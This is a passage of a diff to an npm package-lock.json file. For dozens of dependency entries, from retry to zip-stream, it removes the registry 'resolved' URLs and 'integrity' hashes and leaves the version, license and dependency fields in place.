"sha512-a+CNXfbCTC/kAQLeFxfN9/kts1NlFMo5lrjBefmFssdOJy0XYPNpRN4k63hwIhhzyzPvHziZrQHWKdJNf6Lp5g==", "license": "Apache-2.0", "dependencies": { "ansi-colors": "^4.1.1", @@ -8767,8 +8202,6 @@ }, "node_modules/retry": { "version": "0.12.0", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", - "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", "license": "MIT", "engines": { "node": ">= 4" @@ -8970,8 +8403,6 @@ }, "node_modules/safe-stable-stringify": { "version": "2.5.0", - "resolved": "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-2.5.0.tgz", - "integrity": "sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA==", "license": "MIT", "engines": { "node": ">=10" @@ -8979,8 +8410,6 @@ }, "node_modules/sax": { "version": "1.6.0", - "resolved": "https://registry.npmjs.org/sax/-/sax-1.6.0.tgz", - "integrity": "sha512-6R3J5M4AcbtLUdZmRv2SygeVaM7IhrLXu9BmnOGmmACak8fiUtOsYNWUS4uK7upbmHIBbLBeFeI//477BKLBzA==", "license": "BlueOak-1.0.0", "engines": { "node": ">=11.0.0" @@ -8988,14 +8417,10 @@ }, "node_modules/secure-json-parse": { "version": "2.7.0", - "resolved": "https://registry.npmjs.org/secure-json-parse/-/secure-json-parse-2.7.0.tgz", - "integrity": "sha512-6aU+Rwsezw7VR8/nyvKTx8QpWH9FrcYiXXlqC4z5d5XQBDRqtbfsRjnwGyqbi3gddNtWHuEk9OANUotL26qKUw==", "license": "BSD-3-Clause" }, "node_modules/semver": { "version": "7.8.5", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", - "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", "license": "ISC", "bin": { "semver": "bin/semver.js" @@ -9006,8 +8431,6 @@ }, "node_modules/sentence-case": { "version": "3.0.4", - "resolved": "https://registry.npmjs.org/sentence-case/-/sentence-case-3.0.4.tgz", - "integrity": "sha512-8LS0JInaQMCRoQ7YUytAo/xUu5W2XnQxV2HI/6uM6U7CITS1RqPElr30V6uIqyMKM9lJGRVFy5/4CuzcixNYSg==", "license": "MIT", "dependencies": { "no-case": "^3.0.4", @@ -9017,8 +8440,6 @@ }, "node_modules/sequin": { "version": "0.1.1", - "resolved": "https://registry.npmjs.org/sequin/-/sequin-0.1.1.tgz", - "integrity": "sha512-hJWMZRwP75ocoBM+1/YaCsvS0j5MTPeBHJkS2/wruehl9xwtX30HlDF1Gt6UZ8HHHY8SJa2/IL+jo+JJCd59rA==", "license": "MIT", "engines": { "node": ">=0.4.0" @@ -9066,8 +8487,6 @@ }, "node_modules/setimmediate": { "version": "1.0.5", - "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", - "integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==", "license": "MIT" }, "node_modules/shebang-command": { @@ -9179,8 +8598,6 @@ }, "node_modules/snake-case": { "version": "3.0.4", - "resolved": "https://registry.npmjs.org/snake-case/-/snake-case-3.0.4.tgz", - "integrity": "sha512-LAOh4z89bGQvl9pFfNF8V146i7o7/CqFPbqzYgP+yYzDIDeS9HaNFtXABamRW+AQzEVODcvE79ljJ+8a9YSdMg==", "license": "MIT", "dependencies": { "dot-case": "^3.0.4", @@ -9213,8 +8630,6 @@ }, "node_modules/sonic-boom": { "version": "4.2.1", - "resolved": "https://registry.npmjs.org/sonic-boom/-/sonic-boom-4.2.1.tgz", - "integrity": "sha512-w6AxtubXa2wTXAUsZMMWERrsIRAdrK0Sc+FUytWvYAhBJLyuI4llrMIC1DtlNSdI99EI86KZum2MMq3EAZlF9Q==", "license": "MIT", "dependencies": { "atomic-sleep": "^1.0.0" @@ -9237,8 +8652,6 @@ }, "node_modules/source-map-support": { "version": "0.5.13", - "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.13.tgz", - "integrity": "sha512-SHSKFHadjVA5oR4PPqhtAVdcBWwRYVd6g6cAXnIbRiIwc2EhPrTuKUBdSLvlEKyIP3GCf89fltvcZiP9MMFA1w==", "devOptional": true, "license": "MIT", "dependencies": { @@ -9248,8 +8661,6 @@ }, "node_modules/split2": { "version": "4.2.0", - "resolved": "https://registry.npmjs.org/split2/-/split2-4.2.0.tgz", - "integrity": "sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg==", "license": "ISC", "engines": { "node": ">= 10.x" @@ -9292,8 +8703,6 @@ }, "node_modules/streamx": { "version": "2.27.0", - "resolved": "https://registry.npmjs.org/streamx/-/streamx-2.27.0.tgz", - "integrity": "sha512-WZ189TKnHoAokYHvwzaAQMpd55cgUmFIcJFzBSgGcb886jau5DL+XdDhTWV4ps3FLvk+OORp0dLRTPsLZ21CSA==", "license": "MIT", "dependencies": { "events-universal": "^1.0.0", @@ -9310,8 +8719,6 @@ }, "node_modules/string-length": { "version": "4.0.2", - "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz", - "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==", "devOptional": true, "license": "MIT", "dependencies": { @@ -9324,8 +8731,6 @@ }, "node_modules/string-width": { "version": "5.1.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", - "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", "license": "MIT", "dependencies": { "eastasianwidth": "^0.2.0", @@ -9342,8 +8747,6 @@ "node_modules/string-width-cjs": { "name": "string-width", "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", "license": "MIT", "dependencies": { "emoji-regex": "^8.0.0", @@ -9356,14 +8759,10 @@ }, "node_modules/string-width-cjs/node_modules/emoji-regex": { "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", "license": "MIT" }, "node_modules/string-width/node_modules/ansi-regex": { "version": "6.2.2", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", - "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", "license": "MIT", "engines": { "node": ">=12" @@ -9374,8 +8773,6 @@ }, "node_modules/string-width/node_modules/strip-ansi": { "version": "7.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", - "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", "license": "MIT", "dependencies": { "ansi-regex": "^6.2.2" @@ -9495,8 +8892,6 @@ "node_modules/strip-ansi-cjs": { "name": "strip-ansi", "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", "license": "MIT", "dependencies": { "ansi-regex": "^5.0.1" @@ -9507,8 +8902,6 @@ }, "node_modules/strip-bom": { "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz", - "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==", "devOptional": true, "license": "MIT", "engines": { @@ -9517,8 +8910,6 @@ }, "node_modules/strip-final-newline": { "version": "2.0.0", - "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", - "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", "devOptional": true, "license": "MIT", "engines": { @@ -9567,8 +8958,6 @@ }, "node_modules/synckit": { "version": "0.11.12", - "resolved": "https://registry.npmjs.org/synckit/-/synckit-0.11.12.tgz", - "integrity": "sha512-Bh7QjT8/SuKUIfObSXNHNSK6WHo6J1tHCqJsuaFDP7gP0fkzSfTxI8y85JrppZ0h8l0maIgc2tfuZQ6/t3GtnQ==", "devOptional": true, "license": "MIT", "dependencies": { @@ -9583,8 +8972,6 @@ }, "node_modules/tar-stream": { "version": "3.2.0", - "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-3.2.0.tgz", - "integrity": "sha512-ojzvCvVaNp6aOTFmG7jaRD0meowIAuPc3cMMhSgKiVWws1GyHbGd/xvnyuRKcKlMpt3qvxx6r0hreCNITP9hIg==", "license": "MIT", "dependencies": { "b4a": "^1.6.4", @@ -9595,8 +8982,6 @@ }, "node_modules/teex": { "version": "1.0.1", - "resolved": "https://registry.npmjs.org/teex/-/teex-1.0.1.tgz", - "integrity": "sha512-eYE6iEI62Ni1H8oIa7KlDU6uQBtqr4Eajni3wX7rpfXD8ysFx8z0+dri+KWEPWpBsxXfxu58x/0jvTVT1ekOSg==", "license": "MIT", "dependencies": { "streamx": "^2.12.5" @@ -9656,8 +9041,6 @@ }, "node_modules/text-decoder": { "version": "1.2.7", - "resolved": "https://registry.npmjs.org/text-decoder/-/text-decoder-1.2.7.tgz", - "integrity": "sha512-vlLytXkeP4xvEq2otHeJfSQIRyWxo/oZGEbXrtEEF9Hnmrdly59sUbzZ/QgyWuLYHctCHxFF4tRQZNQ9k60ExQ==", "license": "Apache-2.0", "dependencies": { "b4a": "^1.6.4" @@ -9669,8 +9052,6 @@ }, "node_modules/thingies": { "version": "2.6.0", - "resolved": "https://registry.npmjs.org/thingies/-/thingies-2.6.0.tgz", - "integrity": "sha512-rMHRjmlFLM1R96UYPvpmnc3LYtdFrT33JIB7L9hetGue1qAPfn1N2LJeEjxUSidu1Iku+haLZXDuEXUHNGO/lg==", "license": "MIT", "engines": { "node": ">=10.18" @@ -9685,8 +9066,6 @@ }, "node_modules/thread-stream": { "version": "3.1.0", - "resolved": "https://registry.npmjs.org/thread-stream/-/thread-stream-3.1.0.tgz", - "integrity": "sha512-OqyPZ9u96VohAyMfJykzmivOrY2wfMSf3C5TtFJVgN+Hm6aj+voFhlK+kZEIv2FBh1X6Xp3DlnCOfEQ3B2J86A==", "license": "MIT", "dependencies": { "real-require": "^0.2.0" @@ -9694,8 +9073,6 @@ }, "node_modules/tinyglobby": { "version": "0.2.17", - "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", - "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", "license": "MIT", "dependencies": { "fdir": "^6.5.0", @@ -9710,8 +9087,6 @@ }, "node_modules/tinyglobby/node_modules/fdir": { "version": "6.5.0", - "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", "license": "MIT", "engines": { "node": ">=12.0.0" @@ -9727,8 +9102,6 @@ }, "node_modules/tinyglobby/node_modules/picomatch": { "version": "4.0.5", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.5.tgz", - "integrity": "sha512-RvwwcruNjI1ncT5xRakeyS9Lf8lcItv34KD+aif+VH9kduAyfYBipGh12274xtenIPZ119/R9BdTBa8gAwSh0A==", "license": "MIT", "engines": { "node": ">=12" @@ -9739,8 +9112,6 @@ }, "node_modules/tldts": { "version": "7.0.27", - "resolved": "https://registry.npmjs.org/tldts/-/tldts-7.0.27.tgz", - "integrity": "sha512-I4FZcVFcqCRuT0ph6dCDpPuO4Xgzvh+spkcTr1gK7peIvxWauoloVO0vuy1FQnijT63ss6AsHB6+OIM4aXHbPg==", "license": "MIT", "dependencies": { "tldts-core": "^7.0.27" @@ -9751,8 +9122,6 @@ }, "node_modules/tldts-core": { "version": "7.0.27", - "resolved": "https://registry.npmjs.org/tldts-core/-/tldts-core-7.0.27.tgz", - "integrity": "sha512-YQ7uPjgWUibIK6DW5lrKujGwUKhLevU4hcGbP5O6TcIUb+oTjJYJVWPS4nZsIHrEEEG6myk/oqAJUEQmpZrHsg==", "license": "MIT" }, "node_modules/tmpl": { @@ -9762,8 +9131,6 @@ }, "node_modules/to-regex-range": { "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", "license": "MIT", "dependencies": { "is-number": "^7.0.0" @@ -9774,8 +9141,6 @@ }, "node_modules/tough-cookie": { "version": "6.0.1", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-6.0.1.tgz", - "integrity": "sha512-LktZQb3IeoUWB9lqR5EWTHgW/VTITCXg4D21M+lvybRVdylLrRMnqaIONLVb5mav8vM19m44HIcGq4qASeu2Qw==", "license": "BSD-3-Clause", "dependencies": { "tldts": "^7.0.5" @@ -9786,14 +9151,10 @@ }, "node_modules/tr46": { "version": "0.0.3", - "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", - "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==", "license": "MIT" }, "node_modules/tree-dump": { "version": "1.1.0", - "resolved": "https://registry.npmjs.org/tree-dump/-/tree-dump-1.1.0.tgz", - "integrity": "sha512-rMuvhU4MCDbcbnleZTFezWsaZXRFemSqAM+7jPnzUl1fo9w3YEKOxAeui0fz3OI4EU4hf23iyA7uQRVko+UaBA==", "license": "Apache-2.0", "engines": { "node": ">=10.0" @@ -9808,8 +9169,6 @@ }, "node_modules/ts-api-utils": { "version": "2.5.0", - "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz", - "integrity": "sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA==", "license": "MIT", "engines": { "node": ">=18.12" @@ -9820,8 +9179,6 @@ }, "node_modules/ts-jest": { "version": "29.4.11", - "resolved": "https://registry.npmjs.org/ts-jest/-/ts-jest-29.4.11.tgz", - "integrity": "sha512-IrFl7l9AuB/qrNw5quqvAv/hmKMb8dhWOH4jQOGo0Oq8tCeo1O86/iTFG1FaRimgUkF13l4PcepO8ATFT6Ns4g==", "dev": true, "license": "MIT", "dependencies": { @@ -9884,8 +9241,6 @@ }, "node_modules/ts-retry-promise": { "version": "0.8.1", - "resolved": "https://registry.npmjs.org/ts-retry-promise/-/ts-retry-promise-0.8.1.tgz", - "integrity": "sha512-+AHPUmAhr5bSRRK5CurE9kNH8gZlEHnCgusZ0zy2bjfatUBDX0h6vGQjiT0YrGwSDwRZmU+bapeX6mj55FOPvg==", "license": "MIT", "engines": { "node": ">=6" @@ -9924,8 +9279,6 @@ }, "node_modules/tunnel-agent": { "version": "0.6.0", - "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", - "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==", "license": "Apache-2.0", "dependencies": { "safe-buffer": "^5.0.1" @@ -9946,8 +9299,6 @@ }, "node_modules/type-detect": { "version": "4.0.8", - "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", - "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", "devOptional": true, "license": "MIT", "engines": { @@ -9956,8 +9307,6 @@ }, "node_modules/type-fest": { "version": "0.21.3", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", - "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", "devOptional": true, "license": "(MIT OR CC0-1.0)", "engines": { @@ -10046,8 +9395,6 @@ }, "node_modules/typescript-eslint": { "version": "8.65.0", - "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.65.0.tgz", - "integrity": "sha512-/ggrHAwyjENDusvyxbuqxAC2dTnZg/Z8F+fgQtYIz+L6n/9HfSlEZcFGV/NsMNa6CkGk0xUjUAFwC0vHOflvIA==", "license": "MIT", "dependencies": { "@typescript-eslint/eslint-plugin": "8.65.0", @@ -10069,8 +9416,6 @@ }, "node_modules/uglify-js": { "version": "3.19.3", - "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.19.3.tgz", - "integrity": "sha512-v3Xu+yuwBXisp6QYTcH4UbH+xYJXqnq2m/LtQVWKWzYc1iehYnLixoQDN9FH6/j9/oybfd6W9Ghwkl8+UMKTKQ==", "dev": true, "license": "BSD-2-Clause", "optional": true, @@ -10103,8 +9448,6 @@ }, "node_modules/universalify": { "version": "2.0.1", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", - "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", "dev": true, "license": "MIT", "engines": { @@ -10113,8 +9456,6 @@ }, "node_modules/unrs-resolver": { "version": "1.12.2", - "resolved": "https://registry.npmjs.org/unrs-resolver/-/unrs-resolver-1.12.2.tgz", - "integrity": "sha512-dmlRxBJJayXjqTwC+JtF1HhJmgf3ftQ3YejFcZrf4+KKtJv0qDsK1pjqaaVjG7wJ5NJ6UVP1OqRMQ71Z4C3rxQ==", "devOptional": true, "hasInstallScript": true, "license": "MIT", @@ -10151,8 +9492,6 @@ }, "node_modules/unzipper": { "version": "0.12.5", - "resolved": "https://registry.npmjs.org/unzipper/-/unzipper-0.12.5.tgz", - "integrity": "sha512-tXYOi9R57Uj/2Z25SOs5RRSzq886MBQj2gY8dPL+xl/kv6s6SvByoKfAtvfVeEuhntWDgjd2o9p2lb4TVPAz0A==", "dev": true, "license": "MIT", "dependencies": { @@ -10193,8 +9532,6 @@ }, "node_modules/upper-case": { "version": "2.0.2", - "resolved": "https://registry.npmjs.org/upper-case/-/upper-case-2.0.2.tgz", - "integrity": "sha512-KgdgDGJt2TpuwBUIjgG6lzw2GWFRCW9Qkfkiv0DxqHHLYJHmtmdUIKcZd8rHgFSjopVTlw6ggzCm1b8MFQwikg==", "license": "MIT", "dependencies": { "tslib": "^2.0.3" @@ -10202,8 +9539,6 @@ }, "node_modules/upper-case-first": { "version": "2.0.2", - "resolved": "https://registry.npmjs.org/upper-case-first/-/upper-case-first-2.0.2.tgz", - "integrity": "sha512-514ppYHBaKwfJRK/pNC6c/OxfGa0obSnAl106u97Ed0I625Nin96KAjttZF6ZL3e1XLtphxnqrOi9iWgm+u+bg==", "license": "MIT", "dependencies": { "tslib": "^2.0.3" @@ -10222,8 +9557,6 @@ }, "node_modules/v8-to-istanbul": { "version": "9.3.0", - "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.3.0.tgz", - "integrity": "sha512-kiGUalWN+rgBJ/1OHZsBtU4rXZOfj/7rKQxULKlIzwzQSvMJUUNgPwJEEh7gU6xEVxC0ahoOBvN2YI8GH6FNgA==", "devOptional": true, "license": "ISC", "dependencies": { @@ -10252,14 +9585,10 @@ }, "node_modules/webidl-conversions": { "version": "3.0.1", - "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", - "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==", "license": "BSD-2-Clause" }, "node_modules/websocket-driver": { "version": "0.7.5", - "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.5.tgz", - "integrity": "sha512-ZL2+3c7kMBdIRCMz6l8jQMHyGVxj+UL+xVk74Ombiciboca8rHa15L86B19E5oh1pL9Ii/uj54gtsIrZGMo6zA==", "license": "Apache-2.0", "dependencies": { "http-parser-js": ">=0.5.1", @@ -10272,8 +9601,6 @@ }, "node_modules/websocket-extensions": { "version": "0.1.4", - "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.4.tgz", - "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==", "license": "Apache-2.0", "engines": { "node": ">=0.8.0" @@ -10281,8 +9608,6 @@ }, "node_modules/whatwg-url": { "version": "5.0.0", - "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", - "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==", "license": "MIT", "dependencies": { "tr46": "~0.0.3", @@ -10388,15 +9713,11 @@ }, "node_modules/wordwrap": { "version": "1.0.0", - "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-1.0.0.tgz", - "integrity": "sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q==", "dev": true, "license": "MIT" }, "node_modules/wrap-ansi": { "version": "8.1.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", - "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", "license": "MIT", "dependencies": { "ansi-styles": "^6.1.0", @@ -10413,8 +9734,6 @@ "node_modules/wrap-ansi-cjs": { "name": "wrap-ansi", "version": "7.0.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", - "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", "license": "MIT", "dependencies": { "ansi-styles": "^4.0.0", @@ -10430,14 +9749,10 @@ }, "node_modules/wrap-ansi-cjs/node_modules/emoji-regex": { "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", "license": "MIT" }, "node_modules/wrap-ansi-cjs/node_modules/string-width": { "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", "license": "MIT", "dependencies": { "emoji-regex": "^8.0.0", @@ -10450,8 +9765,6 @@ }, "node_modules/wrap-ansi/node_modules/ansi-regex": { "version": "6.2.2", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", - "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", "license": "MIT", "engines": { "node": ">=12" @@ -10462,8 +9775,6 @@ }, "node_modules/wrap-ansi/node_modules/ansi-styles": { "version": "6.2.3", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", - "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", "license": "MIT", "engines": { "node": ">=12" @@ -10474,8 +9785,6 @@ }, "node_modules/wrap-ansi/node_modules/strip-ansi": { "version": "7.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", - "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", "license": "MIT", "dependencies": { "ansi-regex": "^6.2.2" @@ -10505,8 +9814,6 @@ }, "node_modules/xml-naming": { "version": "0.1.0", - "resolved": "https://registry.npmjs.org/xml-naming/-/xml-naming-0.1.0.tgz", - "integrity": "sha512-k8KO9hrMyNk6tUWqUfkTEZbezRRpONVOzUTnc97VnCvyj6Tf9lyUR9EDAIeiVLv56jsMcoXEwjW8Kv5yPY52lw==", "funding": [ { "type": "github", @@ -10520,8 +9827,6 @@ }, "node_modules/xml2js": { "version": "0.6.2", - "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.6.2.tgz", - "integrity": "sha512-T4rieHaC1EXcES0Kxxj4JWgaUQHDk+qwHcYOCFHfiwKz7tOVPLq7Hjq9dM1WCMhylqMEfP7hMcOIChvotiZegA==", "license": "MIT", "dependencies": { "sax": ">=0.6.0", @@ -10533,8 +9838,6 @@ }, "node_modules/xml2js/node_modules/xmlbuilder": { "version": "11.0.1", - "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-11.0.1.tgz", - "integrity": "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==", "license": "MIT", "engines": { "node": ">=4.0" @@ -10549,14 +9852,10 @@ }, "node_modules/xmlcreate": { "version": "2.0.4", - "resolved": "https://registry.npmjs.org/xmlcreate/-/xmlcreate-2.0.4.tgz", - "integrity": "sha512-nquOebG4sngPmGPICTS5EnxqhKbCmz5Ox5hsszI2T6U5qdrJizBc+0ilYSEjTSzU0yZcmvppztXe/5Al5fUwdg==", "license": "Apache-2.0" }, "node_modules/y18n": { "version": "5.0.8", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", - "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", "devOptional": true, "license": "ISC", "engines": { @@ -10569,8 +9868,6 @@ }, "node_modules/yargs": { "version": "17.7.2", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", - "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", "devOptional": true, "license": "MIT", "dependencies": { @@ -10596,15 +9893,11 @@ }, "node_modules/yargs/node_modules/emoji-regex": { "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", "devOptional": true, "license": "MIT" }, "node_modules/yargs/node_modules/string-width": { "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", "devOptional": true, "license": "MIT", "dependencies": { @@ -10628,8 +9921,6 @@ }, "node_modules/zip-stream": { "version": "6.0.1", - "resolved": "https://registry.npmjs.org/zip-stream/-/zip-stream-6.0.1.tgz", - "integrity": "sha512-zK7YHHz4ZXpW89AHXUPbQVGKI7uvkd3hzusTdotCg1UxyaVtg0zFJSTfW/Dq5f7OBBVnq6cZIaC8Ti4hb6dtCA==", "license": "MIT", "dependencies": { "archiver-utils": "^5.0.0", @@ -10642,8 +9933,6 @@ }, 